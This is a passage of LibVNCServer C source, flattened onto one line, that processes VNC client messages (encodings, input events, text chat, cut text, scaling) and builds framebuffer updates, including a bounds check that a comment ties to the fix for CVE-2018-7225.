rfbEncodingZlib: case rfbEncodingZRLE: case rfbEncodingZYWRLE: #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: #endif /* The first supported encoding is the 'preferred' encoding */ if (cl->preferredEncoding == -1) cl->preferredEncoding = enc; break; case rfbEncodingXCursor: if(!cl->screen->dontConvertRichCursorToXCursor) { rfbLog("Enabling X-style cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->cursorWasChanged = TRUE; } break; case rfbEncodingRichCursor: rfbLog("Enabling full-color cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->useRichCursorEncoding = TRUE; cl->cursorWasChanged = TRUE; break; case rfbEncodingPointerPos: if (!cl->enableCursorPosUpdates) { rfbLog("Enabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = TRUE; cl->cursorWasMoved = TRUE; } break; case rfbEncodingLastRect: if (!cl->enableLastRectEncoding) { rfbLog("Enabling LastRect protocol extension for client " "%s\n", cl->host); cl->enableLastRectEncoding = TRUE; } break; case rfbEncodingNewFBSize: if (!cl->useNewFBSize) { rfbLog("Enabling NewFBSize protocol extension for client " "%s\n", cl->host); cl->useNewFBSize = TRUE; } break; case rfbEncodingKeyboardLedState: if (!cl->enableKeyboardLedState) { rfbLog("Enabling KeyboardLedState protocol extension for client " "%s\n", cl->host); cl->enableKeyboardLedState = TRUE; } break; case rfbEncodingSupportedMessages: if (!cl->enableSupportedMessages) { rfbLog("Enabling SupportedMessages protocol extension for client " "%s\n", cl->host); cl->enableSupportedMessages = TRUE; } break; case rfbEncodingSupportedEncodings: if (!cl->enableSupportedEncodings) { rfbLog("Enabling SupportedEncodings protocol extension for client " "%s\n", cl->host); cl->enableSupportedEncodings = TRUE; } break; case rfbEncodingServerIdentity: if (!cl->enableServerIdentity) { rfbLog("Enabling ServerIdentity protocol extension for client " "%s\n", cl->host); cl->enableServerIdentity = TRUE; } break; case rfbEncodingXvp: if (cl->screen->xvpHook) { rfbLog("Enabling Xvp protocol extension for client " "%s\n", cl->host); if (!rfbSendXvp(cl, 1, rfbXvp_Init)) { rfbCloseClient(cl); return; } } break; default: #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) if ( enc >= (uint32_t)rfbEncodingCompressLevel0 && enc <= (uint32_t)rfbEncodingCompressLevel9 ) { cl->zlibCompressLevel = enc & 0x0F; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = enc & 0x0F; rfbLog("Using compression level %d for client %s\n", cl->tightCompressLevel, cl->host); #endif } else if ( enc >= (uint32_t)rfbEncodingQualityLevel0 && enc <= (uint32_t)rfbEncodingQualityLevel9 ) { cl->tightQualityLevel = enc & 0x0F; rfbLog("Using image quality level %d for client %s\n", cl->tightQualityLevel, cl->host); #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->turboQualityLevel = tight2turbo_qual[enc & 0x0F]; cl->turboSubsampLevel = tight2turbo_subsamp[enc & 0x0F]; rfbLog("Using JPEG subsampling %d, Q%d for client %s\n", cl->turboSubsampLevel, cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingFineQualityLevel0 + 1 && enc <= (uint32_t)rfbEncodingFineQualityLevel100 ) { cl->turboQualityLevel = enc & 0xFF; rfbLog("Using fine quality level %d for client %s\n", cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingSubsamp1X && enc <= (uint32_t)rfbEncodingSubsampGray ) { cl->turboSubsampLevel = enc & 0xFF; rfbLog("Using subsampling level %d for client %s\n", cl->turboSubsampLevel, cl->host); #endif } else #endif { rfbExtensionData* e; for(e = cl->extensions; e;) { rfbExtensionData* next = e->next; if(e->extension->enablePseudoEncoding && e->extension->enablePseudoEncoding(cl, &e->data, (int)enc)) /* ext handles this encoding */ break; e = next; } if(e == NULL) { rfbBool handled = FALSE; /* if the pseudo encoding is not handled by the enabled extensions, search through all extensions. */ rfbProtocolExtension* e; for(e = rfbGetExtensionIterator(); e;) { int* encs = e->pseudoEncodings; while(encs && *encs!=0) { if(*encs==(int)enc) { void* data = NULL; if(!e->enablePseudoEncoding(cl, &data, (int)enc)) { rfbLog("Installed extension pretends to handle pseudo encoding 0x%x, but does not!\n",(int)enc); } else { rfbEnableExtension(cl, e, data); handled = TRUE; e = NULL; break; } } encs++; } if(e) e = e->next; } rfbReleaseExtensionIterator(); if(!handled) rfbLog("rfbProcessClientNormalMessage: " "ignoring unsupported encoding type %s\n", encodingName(enc,encBuf,sizeof(encBuf))); } } } } if (cl->preferredEncoding == -1) { if (lastPreferredEncoding==-1) { cl->preferredEncoding = rfbEncodingRaw; rfbLog("Defaulting to %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { cl->preferredEncoding = lastPreferredEncoding; rfbLog("Sticking with %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } } else { if (lastPreferredEncoding==-1) { rfbLog("Using %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { rfbLog("Switching from %s to %s Encoding for client %s\n", encodingName(lastPreferredEncoding,encBuf2,sizeof(encBuf2)), encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)), cl->host); } } if (cl->enableCursorPosUpdates && !cl->enableCursorShapeUpdates) { rfbLog("Disabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = FALSE; } return; } case rfbFramebufferUpdateRequest: { sraRegionPtr tmpRegion; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFramebufferUpdateRequestMsg-1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbFramebufferUpdateRequestMsg,sz_rfbFramebufferUpdateRequestMsg); /* The values come in based on the scaled screen, we need to convert them to * values based on the main screen's coordinate system */ if(!rectSwapIfLEAndClip(&msg.fur.x,&msg.fur.y,&msg.fur.w,&msg.fur.h,cl)) { rfbLog("Warning, ignoring rfbFramebufferUpdateRequest: %dXx%dY-%dWx%dH\n",msg.fur.x, msg.fur.y, msg.fur.w, msg.fur.h); return; } tmpRegion = sraRgnCreateRect(msg.fur.x, msg.fur.y, msg.fur.x+msg.fur.w, msg.fur.y+msg.fur.h); LOCK(cl->updateMutex); sraRgnOr(cl->requestedRegion,tmpRegion); if (!cl->readyForSetColourMapEntries) { /* client hasn't sent a SetPixelFormat so is using server's */ cl->readyForSetColourMapEntries = TRUE; if (!cl->format.trueColour) { if (!rfbSetClientColourMap(cl, 0, 0)) { sraRgnDestroy(tmpRegion); TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); return; } } } if (!msg.fur.incremental) { sraRgnOr(cl->modifiedRegion,tmpRegion); sraRgnSubtract(cl->copyRegion,tmpRegion); } TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); sraRgnDestroy(tmpRegion); return; } case rfbKeyEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbKeyEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbKeyEventMsg, sz_rfbKeyEventMsg); if(!cl->viewOnly) { cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); } return; case rfbPointerEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbPointerEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbPointerEventMsg, sz_rfbPointerEventMsg); if (cl->screen->pointerClient && cl->screen->pointerClient != cl) return; if (msg.pe.buttonMask == 0) cl->screen->pointerClient = NULL; else cl->screen->pointerClient = cl; if(!cl->viewOnly) { if (msg.pe.buttonMask != cl->lastPtrButtons || cl->screen->deferPtrUpdateTime == 0) { cl->screen->ptrAddEvent(msg.pe.buttonMask, ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)), ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)), cl); cl->lastPtrButtons = msg.pe.buttonMask; } else { cl->lastPtrX = ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)); cl->lastPtrY = ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)); cl->lastPtrButtons = msg.pe.buttonMask; } } return; case rfbFileTransfer: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFileTransferMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.ft.size = Swap32IfLE(msg.ft.size); msg.ft.length = Swap32IfLE(msg.ft.length); /* record statistics in rfbProcessFileTransfer as length is filled with garbage when it is not valid */ rfbProcessFileTransfer(cl, msg.ft.contentType, msg.ft.contentParam, msg.ft.size, msg.ft.length); return; case rfbSetSW: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetSWMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.sw.x = Swap16IfLE(msg.sw.x); msg.sw.y = Swap16IfLE(msg.sw.y); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetSWMsg, sz_rfbSetSWMsg); /* msg.sw.status is not initialized in the ultraVNC viewer and contains random numbers (why???) */ rfbLog("Received a rfbSetSingleWindow(%d x, %d y)\n", msg.sw.x, msg.sw.y); if (cl->screen->setSingleWindow!=NULL) cl->screen->setSingleWindow(cl, msg.sw.x, msg.sw.y); return; case rfbSetServerInput: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetServerInputMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetServerInputMsg, sz_rfbSetServerInputMsg); /* msg.sim.pad is not initialized in the ultraVNC viewer and contains random numbers (why???) */ /* msg.sim.pad = Swap16IfLE(msg.sim.pad); */ rfbLog("Received a rfbSetServerInput(%d status)\n", msg.sim.status); if (cl->screen->setServerInput!=NULL) cl->screen->setServerInput(cl, msg.sim.status); return; case rfbTextChat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbTextChatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.tc.pad2 = Swap16IfLE(msg.tc.pad2); msg.tc.length = Swap32IfLE(msg.tc.length); switch (msg.tc.length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: /* commands do not have text following */ /* Why couldn't they have used the pad byte??? */ str=NULL; rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbTextChatMsg, sz_rfbTextChatMsg); break; default: if ((msg.tc.length>0) && (msg.tc.length<rfbTextMaxSize)) { str = (char *)malloc(msg.tc.length); if (str==NULL) { rfbLog("Unable to malloc %d bytes for a TextChat Message\n", msg.tc.length); rfbCloseClient(cl); return; } if ((n = rfbReadExact(cl, str, msg.tc.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbTextChatMsg+msg.tc.length, sz_rfbTextChatMsg+msg.tc.length); } else { /* This should never happen */ rfbLog("client sent us a Text Message that is too big %d>%d\n", msg.tc.length, rfbTextMaxSize); rfbCloseClient(cl); return; } } /* Note: length can be commands: rfbTextChatOpen, rfbTextChatClose, and rfbTextChatFinished * at which point, the str is NULL (as it is not sent) */ if (cl->screen->setTextChat!=NULL) cl->screen->setTextChat(cl, msg.tc.length, str); free(str); return; case rfbClientCutText: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbClientCutTextMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.cct.length = Swap32IfLE(msg.cct.length); /* uint32_t input is passed to malloc()'s size_t argument, * to rfbReadExact()'s int argument, to rfbStatRecordMessageRcvd()'s int * argument increased of sz_rfbClientCutTextMsg, and to setXCutText()'s int * argument. Here we impose a limit of 1 MB so that the value fits * into all of the types to prevent from misinterpretation and thus * from accessing uninitialized memory (CVE-2018-7225) and also to * prevent from a denial-of-service by allocating too much memory in * the server. */ if (msg.cct.length > 1<<20) { rfbLog("rfbClientCutText: too big cut text length requested: %u B > 1 MB\n", (unsigned int)msg.cct.length); rfbCloseClient(cl); return; } /* Allow zero-length client cut text. */ str = (char *)calloc(msg.cct.length ? msg.cct.length : 1, 1); if (str == NULL) { rfbLogPerror("rfbProcessClientNormalMessage: not enough memory"); rfbCloseClient(cl); return; } if ((n = rfbReadExact(cl, str, msg.cct.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbClientCutTextMsg+msg.cct.length, sz_rfbClientCutTextMsg+msg.cct.length); if(!cl->viewOnly) { cl->screen->setXCutText(str, msg.cct.length, cl); } free(str); return; case rfbPalmVNCSetScaleFactor: cl->PalmVNC = TRUE; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbSetScale: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbXvp: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbXvpMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbXvpMsg, sz_rfbXvpMsg); /* only version when is defined, so echo back a fail */ if(msg.xvp.version != 1) { rfbSendXvp(cl, msg.xvp.version, rfbXvp_Fail); } else { /* if the hook exists and fails, send a fail msg */ if(cl->screen->xvpHook && !cl->screen->xvpHook(cl, msg.xvp.version, msg.xvp.code)) rfbSendXvp(cl, 1, rfbXvp_Fail); } return; default: { rfbExtensionData *e,*next; for(e=cl->extensions; e;) { next = e->next; if(e->extension->handleMessage && e->extension->handleMessage(cl, e->data, &msg)) { rfbStatRecordMessageRcvd(cl, msg.type, 0, 0); /* Extension should handle this */ return; } e = next; } rfbLog("rfbProcessClientNormalMessage: unknown message type %d\n", msg.type); rfbLog(" ... closing connection\n"); rfbCloseClient(cl); return; } } } /* * rfbSendFramebufferUpdate - send the currently pending framebuffer update to * the RFB client. * givenUpdateRegion is not changed. */ rfbBool rfbSendFramebufferUpdate(rfbClientPtr cl, sraRegionPtr givenUpdateRegion) { sraRectangleIterator* i=NULL; sraRect rect; int nUpdateRegionRects; rfbFramebufferUpdateMsg *fu = (rfbFramebufferUpdateMsg *)cl->updateBuf; sraRegionPtr updateRegion,updateCopyRegion,tmpRegion; int dx, dy; rfbBool sendCursorShape = FALSE; rfbBool sendCursorPos = FALSE; rfbBool sendKeyboardLedState = FALSE; rfbBool sendSupportedMessages = FALSE; rfbBool sendSupportedEncodings = FALSE; rfbBool sendServerIdentity = FALSE; rfbBool result = TRUE; if(cl->screen->displayHook) cl->screen->displayHook(cl); /* * If framebuffer size was changed and the client supports NewFBSize * encoding, just send NewFBSize marker and return. */ if (cl->useNewFBSize && cl->newFBSizePending) { LOCK(cl->updateMutex); cl->newFBSizePending = FALSE; UNLOCK(cl->updateMutex); fu->type = rfbFramebufferUpdate; fu->nRects = Swap16IfLE(1); cl->ublen = sz_rfbFramebufferUpdateMsg; if (!rfbSendNewFBSize(cl, cl->scaledScreen->width, cl->scaledScreen->height)) { if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, FALSE); return FALSE; } result = rfbSendUpdateBuf(cl); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * If this client understands cursor shape updates, cursor should be * removed from the framebuffer. Otherwise, make sure it's put up. */ if (cl->enableCursorShapeUpdates) { if (cl->cursorWasChanged && cl->readyForSetColourMapEntries) sendCursorShape = TRUE; } /* * Do we plan to send cursor position update? */ if (cl->enableCursorPosUpdates && cl->cursorWasMoved) sendCursorPos = TRUE; /* * Do we plan to send a keyboard state update? */ if ((cl->enableKeyboardLedState) && (cl->screen->getKeyboardLedStateHook!=NULL)) { int x; x=cl->screen->getKeyboardLedStateHook(cl->screen); if (x!=cl->lastKeyboardLedState) { sendKeyboardLedState = TRUE; cl->lastKeyboardLedState=x; } } /* * Do we plan to send a rfbEncodingSupportedMessages? */ if (cl->enableSupportedMessages) { sendSupportedMessages = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableSupportedMessages = FALSE; } /* * Do we plan to send a rfbEncodingSupportedEncodings? */ if (cl->enableSupportedEncodings) { sendSupportedEncodings = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableSupportedEncodings = FALSE; } /* * Do we plan to send a rfbEncodingServerIdentity? */ if (cl->enableServerIdentity) { sendServerIdentity = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableServerIdentity = FALSE; } LOCK(cl->updateMutex); /* * The modifiedRegion may overlap the destination copyRegion. We remove * any overlapping bits from the copyRegion (since they'd only be * overwritten anyway). */ sraRgnSubtract(cl->copyRegion,cl->modifiedRegion); /* * The client is interested in the region requestedRegion. The region * which should be updated now is the intersection of requestedRegion * and the union of modifiedRegion and copyRegion. If it's empty then * no update is needed. */ updateRegion = sraRgnCreateRgn(givenUpdateRegion); if(cl->screen->progressiveSliceHeight>0) { int height=cl->screen->progressiveSliceHeight, y=cl->progressiveSliceY; sraRegionPtr bbox=sraRgnBBox(updateRegion); sraRect rect; if(sraRgnPopRect(bbox,&rect,0)) { sraRegionPtr slice; if(y<rect.y1 || y>=rect.y2) y=rect.y1; slice=sraRgnCreateRect(0,y,cl->screen->width,y+height); sraRgnAnd(updateRegion,slice); sraRgnDestroy(slice); } sraRgnDestroy(bbox); y+=height; if(y>=cl->screen->height) y=0; cl->progressiveSliceY=y; } sraRgnOr(updateRegion,cl->copyRegion); if(!sraRgnAnd(updateRegion,cl->requestedRegion) && sraRgnEmpty(updateRegion) && (cl->enableCursorShapeUpdates || (cl->cursorX == cl->screen->cursorX && cl->cursorY == cl->screen->cursorY)) && !sendCursorShape && !sendCursorPos && !sendKeyboardLedState && !sendSupportedMessages && !sendSupportedEncodings && !sendServerIdentity) { sraRgnDestroy(updateRegion); UNLOCK(cl->updateMutex); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, TRUE); return TRUE; } /* * We assume that the client doesn't have any pixel data outside the * requestedRegion. In other words, both the source and destination of a * copy must lie within requestedRegion. So the region we can send as a * copy is the intersection of the copyRegion with both the requestedRegion * and the requestedRegion translated by the amount of the copy. We set * updateCopyRegion to this. */ updateCopyRegion = sraRgnCreateRgn(cl->copyRegion); sraRgnAnd(updateCopyRegion,cl->requestedRegion); tmpRegion = sraRgnCreateRgn(cl->requestedRegion); sraRgnOffset(tmpRegion,cl->copyDX,cl->copyDY); sraRgnAnd(updateCopyRegion,tmpRegion); sraRgnDestroy(tmpRegion); dx = cl->copyDX; dy = cl->copyDY; /* * Next we remove updateCopyRegion from updateRegion so that updateRegion * is the part of this update which is sent as ordinary pixel data (i.e not * a copy). */ sraRgnSubtract(updateRegion,updateCopyRegion); /* * Finally we leave modifiedRegion to be the remainder (if any) of parts of * the screen which are modified but outside the requestedRegion. We also * empty both the requestedRegion and the copyRegion - note that we never * carry over a copyRegion for a future update. */ sraRgnOr(cl->modifiedRegion,cl->copyRegion); sraRgnSubtract(cl->modifiedRegion,updateRegion); sraRgnSubtract(cl->modifiedRegion,updateCopyRegion); sraRgnMakeEmpty(cl->requestedRegion); sraRgnMakeEmpty(cl->copyRegion); cl->copyDX = 0; cl->copyDY = 0; UNLOCK(cl->updateMutex); if (!cl->enableCursorShapeUpdates) { if(cl->cursorX != cl->screen->cursorX || cl->cursorY != cl->screen->cursorY) { rfbRedrawAfterHideCursor(cl,updateRegion); LOCK(cl->screen->cursorMutex); cl->cursorX = cl->screen->cursorX; cl->cursorY = cl->screen->cursorY; UNLOCK(cl->screen->cursorMutex); rfbRedrawAfterHideCursor(cl,updateRegion); } rfbShowCursor(cl); } /* * Now send the update. */ rfbStatRecordMessageSent(cl, rfbFramebufferUpdate, 0, 0); if (cl->preferredEncoding == rfbEncodingCoRRE) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int rectsPerRow, rows; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); rectsPerRow = (w-1)/cl->correMaxWidth+1; rows = (h-1)/cl->correMaxHeight+1; nUpdateRegionRects += rectsPerRow*rows; } sraRgnReleaseIterator(i); i=NULL; } else if (cl->preferredEncoding == rfbEncodingUltra) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ULTRA_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (cl->preferredEncoding == rfbEncodingZlib) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ZLIB_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (cl->preferredEncoding == rfbEncodingTight) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && defined(LIBVNCSERVER_HAVE_LIBPNG) } else if (cl->preferredEncoding == rfbEncodingTightPng) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif } else { nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->type = rfbFramebufferUpdate; if (nUpdateRegionRects != 0xFFFF) { if(cl->screen->maxRectsPerUpdate>0 /* CoRRE splits the screen into smaller squares */ && cl->preferredEncoding != rfbEncodingCoRRE /* Ultra encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingUltra #ifdef LIBVNCSERVER_HAVE_LIBZ /* Zlib encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingZlib #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTight #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTightPng #endif && nUpdateRegionRects>cl->screen->maxRectsPerUpdate) { sraRegion* newUpdateRegion = sraRgnBBox(updateRegion); sraRgnDestroy(updateRegion); updateRegion = newUpdateRegion; nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->nRects = Swap16IfLE((uint16_t)(sraRgnCountRects(updateCopyRegion) + nUpdateRegionRects + !!sendCursorShape + !!sendCursorPos + !!sendKeyboardLedState + !!sendSupportedMessages + !!sendSupportedEncodings + !!sendServerIdentity)); } else { fu->nRects = 0xFFFF; } cl->ublen = sz_rfbFramebufferUpdateMsg; if (sendCursorShape) { cl->cursorWasChanged = FALSE; if (!rfbSendCursorShape(cl)) goto updateFailed; } if (sendCursorPos) { cl->cursorWasMoved = FALSE; if (!rfbSendCursorPos(cl)) goto updateFailed; } if (sendKeyboardLedState) { if (!rfbSendKeyboardLedState(cl)) goto updateFailed; } if (sendSupportedMessages) { if (!rfbSendSupportedMessages(cl)) goto updateFailed; } if (sendSupportedEncodings) { if (!rfbSendSupportedEncodings(cl)) goto updateFailed; } if (sendServerIdentity) { if (!rfbSendServerIdentity(cl)) goto updateFailed; } if (!sraRgnEmpty(updateCopyRegion)) { if (!rfbSendCopyRegion(cl,updateCopyRegion,dx,dy)) goto updateFailed; } for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); switch (cl->preferredEncoding) { case -1: case rfbEncodingRaw: if (!rfbSendRectEncodingRaw(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingRRE: if (!rfbSendRectEncodingRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingCoRRE: if (!rfbSendRectEncodingCoRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingHextile: if (!rfbSendRectEncodingHextile(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingUltra: if (!rfbSendRectEncodingUltra(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: if (!rfbSendRectEncodingZlib(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingZRLE: case rfbEncodingZYWRLE: if (!rfbSendRectEncodingZRLE(cl, x, y, w, h)) goto updateFailed; break; #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && (defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG)) case rfbEncodingTight: if (!rfbSendRectEncodingTight(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: if (!rfbSendRectEncodingTightPng(cl, x, y, w, h)) goto updateFailed; break; #endif #endif } } if (i) { sraRgnReleaseIterator(i); i = NULL; } if ( nUpdateRegionRects == 0xFFFF && !rfbSendLastRectMarker(cl) ) goto updateFailed; if (!rfbSendUpdateBuf(cl)) { updateFailed: result = FALSE; } if (!cl->enableCursorShapeUpdates) { rfbHideCursor(cl); } if(i) sraRgnReleaseIterator(i); sraRgnDestroy(updateRegion); sraRgnDestroy(updateCopyRegion); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * Send the copy region as a string of CopyRect encoded rectangles. * The only slightly tricky thing is that we should send the messages in * the correct order so that an earlier CopyRect will not corrupt the source * of a later one. */ rfbBool 